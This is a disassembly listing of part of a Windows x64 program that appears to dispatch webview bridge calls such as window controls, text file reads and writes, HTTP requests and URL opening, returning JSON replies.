140006159	0f 11 84 24 90 01 00 00	MOVUPS xmmword ptr [RSP + local_108[0]],XMM0
140006161	0f 11 84 24 80 01 00 00	MOVUPS xmmword ptr [RSP + local_118[0]],XMM0
140006169	c7 84 24 78 01 00 00 06 …	MOV dword ptr [RSP + local_120],0x6
140006174	0f 11 44 24 78	MOVUPS xmmword ptr [RSP + local_220[0]],XMM0
140006179	0f 11 44 24 68	MOVUPS xmmword ptr [RSP + local_230[0]],XMM0
14000617e	0f 11 44 24 58	MOVUPS xmmword ptr [RSP + local_240[0]],XMM0
140006183	0f 11 44 24 48	MOVUPS xmmword ptr [RSP + local_268[24]],XMM0
140006188	0f 11 44 24 38	MOVUPS xmmword ptr [RSP + local_268[8]],XMM0
14000618d	c7 44 24 30 04 00 00 00	MOV dword ptr [RSP + local_268[0]],0x4
140006195	49 83 ff 06	CMP R15,0x6
140006199	0f 86 d1 10 00 00	JBE LAB_140007270
14000619f	49 8d 7f f9	LEA RDI,[R15 + -0x7]
1400061a3	4c 39 f7	CMP RDI,R14
1400061a6	0f 87 c9 10 00 00	JA LAB_140007275
1400061ac	48 83 ff 0b	CMP RDI,0xb
1400061b0	73 19	JNC LAB_1400061cb
1400061b2	8d 04 3f	LEA EAX,[RDI + RDI*0x1]
1400061b5	88 84 24 60 01 00 00	MOV byte ptr [RSP + local_138],AL
1400061bc	48 8d 9c 24 62 01 00 00	LEA RBX,[RSP + 0x162]
1400061c4	48 85 ff	TEST RDI,RDI
1400061c7	75 43	JNZ LAB_14000620c
1400061c9	eb 56	JMP LAB_140006221
LAB_1400061cb:
1400061cb	48 89 f8	MOV RAX,RDI
1400061ce	48 83 c8 03	OR RAX,0x3
1400061d2	48 8d 48 01	LEA RCX,[RAX + 0x1]
1400061d6	48 83 f8 0b	CMP RAX,0xb
1400061da	41 be 0e 00 00 00	MOV R14D,0xe
1400061e0	4c 0f 45 f1	CMOVNZ R14,RCX
1400061e4	4b 8d 0c 36	LEA RCX,[R14 + R14*0x1]
1400061e8	e8 13 96 01 00	CALL FUN_14001f800	; FUN_14001f800: malloc
1400061ed	48 89 c3	MOV RBX,RAX
1400061f0	48 89 84 24 70 01 00 00	MOV qword ptr [RSP + local_128],RAX
1400061f8	49 83 ce 01	OR R14,0x1
1400061fc	4c 89 b4 24 60 01 00 00	MOV qword ptr [RSP + local_138],R14
140006204	48 89 bc 24 68 01 00 00	MOV qword ptr [RSP + local_130],RDI
LAB_14000620c:
14000620c	48 83 c6 0e	ADD RSI,0xe
140006210	48 01 ff	ADD RDI,RDI
140006213	48 89 d9	MOV RCX,RBX
140006216	48 89 f2	MOV RDX,RSI
140006219	49 89 f8	MOV R8,RDI
14000621c	e8 1f 40 09 00	CALL memmove
LAB_140006221:
140006221	66 42 c7 44 7b f2 00 00	MOV word ptr [RBX + R15*0x2 + -0xe],0x0
140006229	48 8d 8c 24 a0 00 00 00	LEA RCX,[RSP + 0xa0]
140006231	48 8d 94 24 60 01 00 00	LEA RDX,[RSP + 0x160]
140006239	e8 42 cd ff ff	CALL FUN_140002f80	; FUN_140002f80: WideCharToMultiByte
14000623e	48 8d 74 24 40	LEA RSI,[RSP + 0x40]
140006243	f6 44 24 40 01	TEST byte ptr [RSP + local_268[16]],0x1
140006248	74 0a	JZ LAB_140006254
14000624a	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + Stack[-0x248]]
14000624f	e8 8c 96 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140006254:
140006254	48 8b 84 24 b0 00 00 00	MOV RAX,qword ptr [RSP + local_1e8]
14000625c	48 89 46 10	MOV qword ptr [RSI + Stack[-0x248]],RAX
140006260	0f 10 84 24 a0 00 00 00	MOVUPS XMM0,xmmword ptr [RSP + local_1f8[0]]
140006268	0f 11 06	MOVUPS xmmword ptr [RSI],XMM0
14000626b	66 c7 84 24 a0 00 00 00 …	MOV word ptr [RSP + local_1f8[0]],0x0
140006275	f6 84 24 60 01 00 00 01	TEST byte ptr [RSP + local_138],0x1
14000627d	74 0d	JZ LAB_14000628c
14000627f	48 8b 8c 24 70 01 00 00	MOV RCX,qword ptr [RSP + local_128]
140006287	e8 54 96 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_14000628c:
14000628c	48 8b 84 24 c0 01 00 00	MOV RAX,qword ptr [RSP + local_d8[0]]
140006294	48 3b 84 24 c8 01 00 00	CMP RAX,qword ptr [RSP + local_d8[8]]
14000629c	0f 83 80 00 00 00	JNC LAB_140006322
1400062a2	c6 00 08	MOV byte ptr [RAX],0x8
1400062a5	c7 40 01 65 64 67 65	MOV dword ptr [RAX + 0x1],0x65676465
1400062ac	c6 40 05 00	MOV byte ptr [RAX + 0x5],0x0
1400062b0	0f 10 44 24 30	MOVUPS XMM0,xmmword ptr [RSP + local_268[0]]
1400062b5	0f 11 40 18	MOVUPS xmmword ptr [RAX + 0x18],XMM0
1400062b9	48 8b 4e 10	MOV RCX,qword ptr [RSI + Stack[-0x248]]
1400062bd	48 89 48 38	MOV qword ptr [RAX + 0x38],RCX
1400062c1	0f 10 06	MOVUPS XMM0,xmmword ptr [RSI]
1400062c4	0f 11 40 28	MOVUPS xmmword ptr [RAX + 0x28],XMM0
1400062c8	0f 57 c0	XORPS XMM0,XMM0
1400062cb	0f 11 06	MOVUPS xmmword ptr [RSI],XMM0
1400062ce	48 c7 46 10 00 00 00 00	MOV qword ptr [RSI + Stack[-0x248]],0x0
1400062d6	0f 10 4c 24 58	MOVUPS XMM1,xmmword ptr [RSP + local_240[0]]
1400062db	0f 11 48 40	MOVUPS xmmword ptr [RAX + 0x40],XMM1
1400062df	48 8b 4c 24 68	MOV RCX,qword ptr [RSP + local_230[0]]
1400062e4	48 89 48 50	MOV qword ptr [RAX + 0x50],RCX
1400062e8	0f 11 44 24 58	MOVUPS xmmword ptr [RSP + local_240[0]],XMM0
1400062ed	48 c7 44 24 68 00 00 00 …	MOV qword ptr [RSP + local_230[0]],0x0
1400062f6	0f 10 4c 24 70	MOVUPS XMM1,xmmword ptr [RSP + local_230[8]]
1400062fb	0f 11 48 58	MOVUPS xmmword ptr [RAX + 0x58],XMM1
1400062ff	48 8b 8c 24 80 00 00 00	MOV RCX,qword ptr [RSP + local_220[8]]
140006307	48 89 48 68	MOV qword ptr [RAX + 0x68],RCX
14000630b	0f 11 44 24 70	MOVUPS xmmword ptr [RSP + local_230[8]],XMM0
140006310	48 c7 84 24 80 00 00 00 …	MOV qword ptr [RSP + local_220[8]],0x0
14000631c	48 83 c0 70	ADD RAX,0x70
140006320	eb 19	JMP LAB_14000633b
LAB_140006322:
140006322	48 8d 8c 24 b8 01 00 00	LEA RCX,[RSP + 0x1b8]
14000632a	48 8d 15 d0 56 09 00	LEA RDX,[DAT_14009ba01]
140006331	4c 8d 44 24 30	LEA R8,[RSP + 0x30]
140006336	e8 65 25 00 00	CALL FUN_1400088a0	; FUN_1400088a0: __acrt_iob_func, RtlUnwindEx
LAB_14000633b:
14000633b	48 89 84 24 c0 01 00 00	MOV qword ptr [RSP + local_d8[0]],RAX
140006343	48 8d 8c 24 78 01 00 00	LEA RCX,[RSP + 0x178]
14000634b	e8 90 cd ff ff	CALL edge_handler	; → edge_handler
140006350	48 8b 74 24 70	MOV RSI,qword ptr [RSP + local_230[8]]
140006355	48 85 f6	TEST RSI,RSI
140006358	74 48	JZ LAB_1400063a2
14000635a	48 8b 7c 24 78	MOV RDI,qword ptr [RSP + local_220[0]]
14000635f	48 89 f1	MOV RCX,RSI
140006362	48 39 fe	CMP RSI,RDI
140006365	75 12	JNZ LAB_140006379
140006367	eb 2f	JMP LAB_140006398
LAB_140006370:
140006370	48 83 c7 90	ADD RDI,-0x70
140006374	48 39 f7	CMP RDI,RSI
140006377	74 1a	JZ LAB_140006393
LAB_140006379:
140006379	48 8d 4f a8	LEA RCX,[RDI + -0x58]
14000637d	e8 2e 19 00 00	CALL FUN_140007cb0	; FUN_140007cb0: free
140006382	f6 47 90 01	TEST byte ptr [RDI + -0x70],0x1
140006386	74 e8	JZ LAB_140006370
140006388	48 8b 4f a0	MOV RCX,qword ptr [RDI + -0x60]
14000638c	e8 4f 95 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140006391	eb dd	JMP LAB_140006370
LAB_140006393:
140006393	48 8b 4c 24 70	MOV RCX,qword ptr [RSP + local_230[8]]
LAB_140006398:
140006398	48 89 74 24 78	MOV qword ptr [RSP + local_220[0]],RSI
14000639d	e8 3e 95 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400063a2:
1400063a2	48 8b 54 24 58	MOV RDX,qword ptr [RSP + local_240[0]]
1400063a7	48 85 d2	TEST RDX,RDX
1400063aa	74 14	JZ LAB_1400063c0
1400063ac	48 8d 4c 24 58	LEA RCX,[RSP + 0x58]
1400063b1	e8 2a 2a 00 00	CALL FUN_140008de0	; FUN_140008de0: free
1400063b6	48 8b 4c 24 58	MOV RCX,qword ptr [RSP + 0x58]
1400063bb	e8 20 95 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400063c0:
1400063c0	f6 44 24 40 01	TEST byte ptr [RSP + local_268[16]],0x1
1400063c5	74 0a	JZ LAB_1400063d1
1400063c7	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + Stack[-0x248]]
1400063cc	e8 0f 95 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400063d1:
1400063d1	48 8b b4 24 b8 01 00 00	MOV RSI,qword ptr [RSP + local_e8[8]]
1400063d9	48 85 f6	TEST RSI,RSI
1400063dc	74 4a	JZ LAB_140006428
1400063de	48 8b bc 24 c0 01 00 00	MOV RDI,qword ptr [RSP + local_d8[0]]
1400063e6	48 89 f1	MOV RCX,RSI
1400063e9	48 39 fe	CMP RSI,RDI
1400063ec	75 0b	JNZ LAB_1400063f9
1400063ee	eb 2b	JMP LAB_14000641b
LAB_1400063f0:
1400063f0	48 83 c7 90	ADD RDI,-0x70
1400063f4	48 39 f7	CMP RDI,RSI
1400063f7	74 1a	JZ LAB_140006413
LAB_1400063f9:
1400063f9	48 8d 4f a8	LEA RCX,[RDI + -0x58]
1400063fd	e8 ae 18 00 00	CALL FUN_140007cb0	; FUN_140007cb0: free
140006402	f6 47 90 01	TEST byte ptr [RDI + -0x70],0x1
140006406	74 e8	JZ LAB_1400063f0
140006408	48 8b 4f a0	MOV RCX,qword ptr [RDI + -0x60]
14000640c	e8 cf 94 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140006411	eb dd	JMP LAB_1400063f0
LAB_140006413:
140006413	48 8b 8c 24 b8 01 00 00	MOV RCX,qword ptr [RSP + local_e8[8]]
LAB_14000641b:
14000641b	48 89 b4 24 c0 01 00 00	MOV qword ptr [RSP + local_d8[0]],RSI
140006423	e8 b8 94 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140006428:
140006428	48 8b 94 24 a0 01 00 00	MOV RDX,qword ptr [RSP + local_f8[0]]
140006430	48 85 d2	TEST RDX,RDX
140006433	74 1a	JZ LAB_14000644f
140006435	48 8d 8c 24 a0 01 00 00	LEA RCX,[RSP + 0x1a0]
14000643d	e8 9e 29 00 00	CALL FUN_140008de0	; FUN_140008de0: free
140006442	48 8b 8c 24 a0 01 00 00	MOV RCX,qword ptr [RSP + 0x1a0]
14000644a	e8 91 94 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_14000644f:
14000644f	f6 84 24 88 01 00 00 01	TEST byte ptr [RSP + local_118[8]],0x1
140006457	74 0d	JZ LAB_140006466
140006459	48 8b 8c 24 98 01 00 00	MOV RCX,qword ptr [RSP + local_108[8]]
140006461	e8 7a 94 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140006466:
140006466	f6 84 24 88 00 00 00 01	TEST byte ptr [RSP + local_210],0x1
14000646e	74 0d	JZ LAB_14000647d
140006470	48 8b 8c 24 98 00 00 00	MOV RCX,qword ptr [RSP + local_200]
140006478	e8 63 94 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_14000647d:
14000647d	48 8b b4 24 10 01 00 00	MOV RSI,qword ptr [RSP + local_190[8]]
140006485	48 85 f6	TEST RSI,RSI
140006488	74 4e	JZ LAB_1400064d8
14000648a	48 8b bc 24 18 01 00 00	MOV RDI,qword ptr [RSP + local_180[0]]
140006492	48 89 f1	MOV RCX,RSI
140006495	48 39 fe	CMP RSI,RDI
140006498	75 0f	JNZ LAB_1400064a9
14000649a	eb 2f	JMP LAB_1400064cb
LAB_1400064a0:
1400064a0	48 83 c7 90	ADD RDI,-0x70
1400064a4	48 39 f7	CMP RDI,RSI
1400064a7	74 1a	JZ LAB_1400064c3
LAB_1400064a9:
1400064a9	48 8d 4f a8	LEA RCX,[RDI + -0x58]
1400064ad	e8 fe 17 00 00	CALL FUN_140007cb0	; FUN_140007cb0: free
1400064b2	f6 47 90 01	TEST byte ptr [RDI + -0x70],0x1
1400064b6	74 e8	JZ LAB_1400064a0
1400064b8	48 8b 4f a0	MOV RCX,qword ptr [RDI + -0x60]
1400064bc	e8 1f 94 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
1400064c1	eb dd	JMP LAB_1400064a0
LAB_1400064c3:
1400064c3	48 8b 8c 24 10 01 00 00	MOV RCX,qword ptr [RSP + local_190[8]]
LAB_1400064cb:
1400064cb	48 89 b4 24 18 01 00 00	MOV qword ptr [RSP + local_180[0]],RSI
1400064d3	e8 08 94 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400064d8:
1400064d8	48 8b 94 24 f8 00 00 00	MOV RDX,qword ptr [RSP + local_1a0[0]]
1400064e0	48 85 d2	TEST RDX,RDX
1400064e3	74 1a	JZ LAB_1400064ff
1400064e5	48 8d 8c 24 f8 00 00 00	LEA RCX,[RSP + 0xf8]
1400064ed	e8 ee 28 00 00	CALL FUN_140008de0	; FUN_140008de0: free
1400064f2	48 8b 8c 24 f8 00 00 00	MOV RCX,qword ptr [RSP + 0xf8]
1400064fa	e8 e1 93 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400064ff:
1400064ff	f6 84 24 e0 00 00 00 01	TEST byte ptr [RSP + local_1c8[16]],0x1
140006507	74 0d	JZ LAB_140006516
140006509	48 8b 8c 24 f0 00 00 00	MOV RCX,qword ptr [RSP + local_1b0[8]]
140006511	e8 ca 93 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140006516:
140006516	f6 84 24 30 01 00 00 01	TEST byte ptr [RSP + local_168],0x1
14000651e	0f 84 d9 04 00 00	JZ LAB_1400069fd
140006524	48 8b 8c 24 40 01 00 00	MOV RCX,qword ptr [RSP + local_158]
14000652c	e9 c7 04 00 00	JMP LAB_1400069f8
LAB_140006531:
140006531	48 85 c0	TEST RAX,RAX
140006534	0f 84 16 04 00 00	JZ LAB_140006950
14000653a	31 f6	XOR ESI,ESI
14000653c	83 38 03	CMP dword ptr [RAX],0x3
14000653f	f2 48 0f 2c 40 08	CVTTSD2SI RAX,qword ptr [RAX + 0x8]
140006545	48 0f 44 f0	CMOVZ RSI,RAX
140006549	66 c7 84 24 20 02 00 00 …	MOV word ptr [RSP + local_78],0x0
140006553	48 8d 8c 24 b8 00 00 00	LEA RCX,[RSP + 0xb8]
14000655b	4c 8d 84 24 20 02 00 00	LEA R8,[RSP + 0x220]
140006563	e8 a8 17 00 00	CALL FUN_140007d10	; FUN_140007d10: strlen, memcpy
140006568	c6 84 24 d8 01 00 00 0c	MOV byte ptr [RSP + local_c0],0xc
140006570	c7 84 24 d9 01 00 00 70 …	MOV dword ptr [RSP + local_bf],0x61726170
14000657b	66 c7 84 24 dd 01 00 00 …	MOV word ptr [RSP + local_bb],0x736d
140006585	c6 84 24 df 01 00 00 00	MOV byte ptr [RSP + local_b9],0x0
14000658d	83 bc 24 78 01 00 00 06	CMP dword ptr [RSP + local_120],0x6
140006595	75 70	JNZ LAB_140006607
140006597	48 8b bc 24 b8 01 00 00	MOV RDI,qword ptr [RSP + local_e8[8]]
14000659f	48 8b 84 24 c0 01 00 00	MOV RAX,qword ptr [RSP + local_d8[0]]
1400065a7	48 39 c7	CMP RDI,RAX
1400065aa	74 5b	JZ LAB_140006607
1400065ac	48 83 c7 18	ADD RDI,0x18
1400065b0	eb 31	JMP LAB_1400065e3
LAB_1400065b2:
1400065b2	48 8b 4f f8	MOV RCX,qword ptr [RDI + -0x8]
LAB_1400065b6:
1400065b6	8b 11	MOV EDX,dword ptr [RCX]
1400065b8	33 94 24 d9 01 00 00	XOR EDX,dword ptr [RSP + local_bf]
1400065bf	0f b7 49 04	MOVZX ECX,word ptr [RCX + 0x4]
1400065c3	66 33 8c 24 dd 01 00 00	XOR CX,word ptr [RSP + local_bb]
1400065cb	0f b7 c9	MOVZX ECX,CX
1400065ce	09 d1	OR ECX,EDX
1400065d0	74 37	JZ LAB_140006609
LAB_1400065d2:
1400065d2	48 8d 4f e8	LEA RCX,[RDI + -0x18]
1400065d6	48 83 c7 70	ADD RDI,0x70
1400065da	48 83 c1 70	ADD RCX,0x70
1400065de	48 39 c1	CMP RCX,RAX
1400065e1	74 24	JZ LAB_140006607
LAB_1400065e3:
1400065e3	0f b6 4f e8	MOVZX ECX,byte ptr [RDI + -0x18]
1400065e7	f6 c1 01	TEST CL,0x1
1400065ea	74 06	JZ LAB_1400065f2
1400065ec	48 8b 57 f0	MOV RDX,qword ptr [RDI + -0x10]
1400065f0	eb 04	JMP LAB_1400065f6
LAB_1400065f2:
1400065f2	89 ca	MOV EDX,ECX
1400065f4	d1 ea	SHR EDX,0x1
LAB_1400065f6:
1400065f6	48 83 fa 06	CMP RDX,0x6
1400065fa	75 d6	JNZ LAB_1400065d2
1400065fc	f6 c1 01	TEST CL,0x1
1400065ff	75 b1	JNZ LAB_1400065b2
140006601	48 8d 4f e9	LEA RCX,[RDI + -0x17]
140006605	eb af	JMP LAB_1400065b6
LAB_140006607:
140006607	31 ff	XOR EDI,EDI
LAB_140006609:
140006609	0f b6 84 24 b8 00 00 00	MOVZX EAX,byte ptr [RSP + local_1e0]
140006611	a8 01	TEST AL,0x1
140006613	74 0a	JZ LAB_14000661f
140006615	48 8b 8c 24 c0 00 00 00	MOV RCX,qword ptr [RSP + local_1df[7]]
14000661d	eb 07	JMP LAB_140006626
LAB_14000661f:
14000661f	89 c1	MOV ECX,EAX
140006621	d0 e9	SHR CL,0x1
140006623	0f b6 c9	MOVZX ECX,CL
LAB_140006626:
140006626	48 83 c1 f9	ADD RCX,-0x7
14000662a	48 83 f9 05	CMP RCX,0x5
14000662e	0f 87 e6 01 00 00	JA default
140006634	48 8d 15 1d 8e 09 00	LEA RDX,[switchdataD_14009f458]
14000663b	48 63 0c 8a	MOVSXD RCX,dword ptr [RDX + RCX*0x4]
14000663f	48 01 d1	ADD RCX,RDX
140006642	ff e1	JMP RCX
caseD_7:
140006644	a8 01	TEST AL,0x1
140006646	0f 84 81 01 00 00	JZ LAB_1400067cd
14000664c	48 8b 84 24 c8 00 00 00	MOV RAX,qword ptr [RSP + local_1d0]
140006654	e9 7c 01 00 00	JMP LAB_1400067d5
caseD_b:
140006659	a8 01	TEST AL,0x1
14000665b	0f 84 bc 00 00 00	JZ LAB_14000671d
140006661	48 8b 84 24 c8 00 00 00	MOV RAX,qword ptr [RSP + local_1d0]
140006669	e9 b7 00 00 00	JMP LAB_140006725
caseD_9:
14000666e	a8 01	TEST AL,0x1
140006670	0f 84 e3 00 00 00	JZ LAB_140006759
140006676	48 8b 84 24 c8 00 00 00	MOV RAX,qword ptr [RSP + local_1d0]
14000667e	e9 de 00 00 00	JMP LAB_140006761
caseD_a:
140006683	a8 01	TEST AL,0x1
140006685	0f 84 11 01 00 00	JZ LAB_14000679c
14000668b	48 8b 84 24 c8 00 00 00	MOV RAX,qword ptr [RSP + local_1d0]
140006693	e9 0c 01 00 00	JMP LAB_1400067a4
caseD_8:
140006698	a8 01	TEST AL,0x1
14000669a	0f 84 5f 01 00 00	JZ LAB_1400067ff
1400066a0	48 8b 84 24 c8 00 00 00	MOV RAX,qword ptr [RSP + local_1d0]
1400066a8	e9 5a 01 00 00	JMP LAB_140006807
caseD_c:
1400066ad	a8 01	TEST AL,0x1
1400066af	48 8b 8c 24 c8 00 00 00	MOV RCX,qword ptr [RSP + local_1d0]
1400066b7	48 8d 94 24 b9 00 00 00	LEA RDX,[RSP + 0xb9]
1400066bf	49 89 c8	MOV R8,RCX
1400066c2	4c 0f 44 c2	CMOVZ R8,RDX
1400066c6	49 b9 68 74 74 70 2e 72 …	MOV R9,0x7165722e70747468
1400066d0	4d 33 08	XOR R9,qword ptr [R8]
1400066d3	45 8b 40 08	MOV R8D,dword ptr [R8 + local_1df[8]]
1400066d7	49 81 f0 75 65 73 74	XOR R8,0x74736575
1400066de	4d 09 c8	OR R8,R9
1400066e1	0f 84 86 03 00 00	JZ LAB_140006a6d
1400066e7	a8 01	TEST AL,0x1
1400066e9	48 0f 44 ca	CMOVZ RCX,RDX
1400066ed	48 b8 66 73 2e 77 72 69 …	MOV RAX,0x65746972772e7366
1400066f7	48 33 01	XOR RAX,qword ptr [RCX]
1400066fa	8b 49 08	MOV ECX,dword ptr [RCX + local_1df[8]]
1400066fd	48 81 f1 54 65 78 74	XOR RCX,0x74786554
140006704	48 09 c1	OR RCX,RAX
140006707	0f 85 0d 01 00 00	JNZ default
14000670d	48 89 f1	MOV RCX,RSI
140006710	48 89 fa	MOV RDX,RDI
140006713	e8 98 d1 ff ff	CALL file_writer	; → file_writer (B9, E16)
140006718	e9 00 02 00 00	JMP LAB_14000691d
LAB_14000671d:
14000671d	48 8d 84 24 b9 00 00 00	LEA RAX,[RSP + 0xb9]
LAB_140006725:
140006725	48 b9 66 73 2e 72 65 61 …	MOV RCX,0x54646165722e7366
14000672f	48 33 08	XOR RCX,qword ptr [RAX]
140006732	48 ba 72 65 61 64 54 65 …	MOV RDX,0x7478655464616572
14000673c	48 33 50 03	XOR RDX,qword ptr [RAX + local_1df[3]]
140006740	48 09 ca	OR RDX,RCX
140006743	0f 85 d1 00 00 00	JNZ default
140006749	48 89 f1	MOV RCX,RSI
14000674c	48 89 fa	MOV RDX,RDI
14000674f	e8 7c cc ff ff	CALL file_reader	; → file_reader (B9, E15)
140006754	e9 c4 01 00 00	JMP LAB_14000691d
LAB_140006759:
140006759	48 8d 84 24 b9 00 00 00	LEA RAX,[RSP + 0xb9]
LAB_140006761:
140006761	48 b9 77 69 6e 2e 63 6c …	MOV RCX,0x736f6c632e6e6977
14000676b	48 33 08	XOR RCX,qword ptr [RAX]
14000676e	0f b6 40 08	MOVZX EAX,byte ptr [RAX + local_1df[8]]
140006772	48 83 f0 65	XOR RAX,0x65
140006776	48 09 c8	OR RAX,RCX
140006779	0f 85 9b 00 00 00	JNZ default
14000677f	48 8b 0d ca 2c 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
140006786	ba 10 00 00 00	MOV EDX,0x10
14000678b	45 31 c0	XOR R8D,R8D
14000678e	45 31 c9	XOR R9D,R9D
140006791	ff 15 d9 bb 0a 00	CALL qword ptr [PTR_PostMessageW_1400b2370]
140006797	e9 3d 01 00 00	JMP LAB_1400068d9
LAB_14000679c:
14000679c	48 8d 84 24 b9 00 00 00	LEA RAX,[RSP + 0xb9]
LAB_1400067a4:
1400067a4	48 b9 77 69 6e 2e 72 65 …	MOV RCX,0x697365722e6e6977
1400067ae	48 33 08	XOR RCX,qword ptr [RAX]
1400067b1	0f b7 40 08	MOVZX EAX,word ptr [RAX + local_1df[8]]
1400067b5	48 35 7a 65 00 00	XOR RAX,0x657a
1400067bb	48 09 c8	OR RAX,RCX
1400067be	75 5a	JNZ default
1400067c0	48 89 f9	MOV RCX,RDI
1400067c3	e8 18 c9 ff ff	CALL edge_handler	; → edge_handler
1400067c8	e9 0c 01 00 00	JMP LAB_1400068d9
LAB_1400067cd:
1400067cd	48 8d 84 24 b9 00 00 00	LEA RAX,[RSP + 0xb9]
LAB_1400067d5:
1400067d5	b9 77 69 6e 2e	MOV ECX,0x2e6e6977
1400067da	33 08	XOR ECX,dword ptr [RAX]
1400067dc	ba 2e 6d 69 6e	MOV EDX,0x6e696d2e
1400067e1	33 50 03	XOR EDX,dword ptr [RAX + local_1df[3]]
1400067e4	09 ca	OR EDX,ECX
1400067e6	75 32	JNZ default
1400067e8	48 8b 0d 61 2c 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
1400067ef	ba 06 00 00 00	MOV EDX,0x6
1400067f4	ff 15 be bb 0a 00	CALL qword ptr [PTR_ShowWindow_1400b23b8]
1400067fa	e9 da 00 00 00	JMP LAB_1400068d9
LAB_1400067ff:
1400067ff	48 8d 84 24 b9 00 00 00	LEA RAX,[RSP + 0xb9]
LAB_140006807:
140006807	48 b9 77 69 6e 2e 64 72 …	MOV RCX,0x676172642e6e6977
140006811	48 39 08	CMP qword ptr [RAX],RCX
140006814	0f 84 85 00 00 00	JZ LAB_14000689f
default:
14000681a	48 8d 15 f9 52 09 00	LEA RDX,[s_shell.open_14009bb1a]	; "shell.open"
140006821	48 8d 8c 24 b8 00 00 00	LEA RCX,[RSP + 0xb8]
140006829	e8 d2 23 00 00	CALL FUN_140008c00	; FUN_140008c00: strlen, memcmp
14000682e	84 c0	TEST AL,AL
140006830	74 10	JZ LAB_140006842
140006832	48 89 f1	MOV RCX,RSI
140006835	48 89 fa	MOV RDX,RDI
140006838	e8 d3 d3 ff ff	CALL url_launcher	; → url_launcher (B5, E6)
14000683d	e9 db 00 00 00	JMP LAB_14000691d
LAB_140006842:
140006842	48 8d 15 12 50 09 00	LEA RDX,[DAT_14009b85b]
140006849	48 8d 4c 24 30	LEA RCX,[RSP + 0x30]
14000684e	e8 4d e7 ff ff	CALL FUN_140004fa0	; FUN_140004fa0: strlen, memmove
140006853	48 8d 15 cb 52 09 00	LEA RDX,[s_unknown_method:_14009bb25]	; "unknown method: "
14000685a	48 8d 8c 24 d0 00 00 00	LEA RCX,[RSP + 0xd0]
140006862	4c 8d 84 24 b8 00 00 00	LEA R8,[RSP + 0xb8]
14000686a	e8 81 c6 00 00	CALL FUN_140012ef0	; FUN_140012ef0: strlen, memcpy, memmove
14000686f	4c 8d 44 24 30	LEA R8,[RSP + 0x30]
140006874	4c 8d 8c 24 d0 00 00 00	LEA R9,[RSP + 0xd0]
14000687c	48 89 f1	MOV RCX,RSI
14000687f	31 d2	XOR EDX,EDX
140006881	e8 7a c0 ff ff	CALL json_response_builder	; → json_response_builder (B10, E19)
140006886	f6 84 24 d0 00 00 00 01	TEST byte ptr [RSP + local_1c8[0]],0x1
14000688e	74 7c	JZ LAB_14000690c
140006890	48 8b 8c 24 e0 00 00 00	MOV RCX,qword ptr [RSP + local_1c8[16]]
140006898	e8 43 90 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
14000689d	eb 6d	JMP LAB_14000690c
LAB_14000689f:
14000689f	48 8d 4c 24 30	LEA RCX,[RSP + 0x30]
1400068a4	ff 15 86 ba 0a 00	CALL qword ptr [PTR_GetCursorPos_1400b2330]
1400068aa	ff 15 d8 ba 0a 00	CALL qword ptr [PTR_ReleaseCapture_1400b2388]
1400068b0	48 8b 0d 99 2b 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
1400068b7	0f b7 44 24 30	MOVZX EAX,word ptr [RSP + local_268[0]]
1400068bc	44 8b 4c 24 34	MOV R9D,dword ptr [RSP + local_268[4]]
1400068c1	41 c1 e1 10	SHL R9D,0x10
1400068c5	41 09 c1	OR R9D,EAX
1400068c8	41 b8 02 00 00 00	MOV R8D,0x2
1400068ce	ba a1 00 00 00	MOV EDX,0xa1
1400068d3	ff 15 bf ba 0a 00	CALL qword ptr [PTR_SendMessageW_1400b2398]
LAB_1400068d9:
1400068d9	c6 44 24 30 08	MOV byte ptr [RSP + local_268[0]],0x8
1400068de	c7 44 24 31 74 72 75 65	MOV dword ptr [RSP + local_268[1]],0x65757274
1400068e6	c6 44 24 35 00	MOV byte ptr [RSP + local_268[5]],0x0
1400068eb	66 c7 84 24 d0 00 00 00 …	MOV word ptr [RSP + local_1c8[0]],0x0
1400068f5	4c 8d 44 24 30	LEA R8,[RSP + 0x30]
1400068fa	4c 8d 8c 24 d0 00 00 00	LEA R9,[RSP + 0xd0]
140006902	48 89 f1	MOV RCX,RSI
140006905	b2 01	MOV DL,offset DAT_14009f401
140006907	e8 f4 bf ff ff	CALL json_response_builder	; → json_response_builder (B10, E19)
LAB_14000690c:
14000690c	f6 44 24 30 01	TEST byte ptr [RSP + local_268[0]],0x1
140006911	74 0a	JZ LAB_14000691d
140006913	48 8b 4c 24 40	MOV RCX,qword ptr [RSP + local_268[16]]
140006918	e8 c3 8f 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_14000691d:
14000691d	f6 84 24 d8 01 00 00 01	TEST byte ptr [RSP + local_c0],0x1
140006925	0f 85 07 01 00 00	JNZ LAB_140006a32
14000692b	f6 84 24 b8 00 00 00 01	TEST byte ptr [RSP + local_1e0],0x1
140006933	0f 85 14 01 00 00	JNZ LAB_140006a4d
LAB_140006939:
140006939	f6 84 24 20 02 00 00 01	TEST byte ptr [RSP + local_78],0x1
140006941	74 0d	JZ LAB_140006950
LAB_140006943:
140006943	48 8b 8c 24 30 02 00 00	MOV RCX,qword ptr [RSP + local_68]
14000694b	e8 90 8f 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140006950:
140006950	48 8b b4 24 b8 01 00 00	MOV RSI,qword ptr [RSP + local_e8[8]]
140006958	48 85 f6	TEST RSI,RSI
14000695b	74 4b	JZ LAB_1400069a8
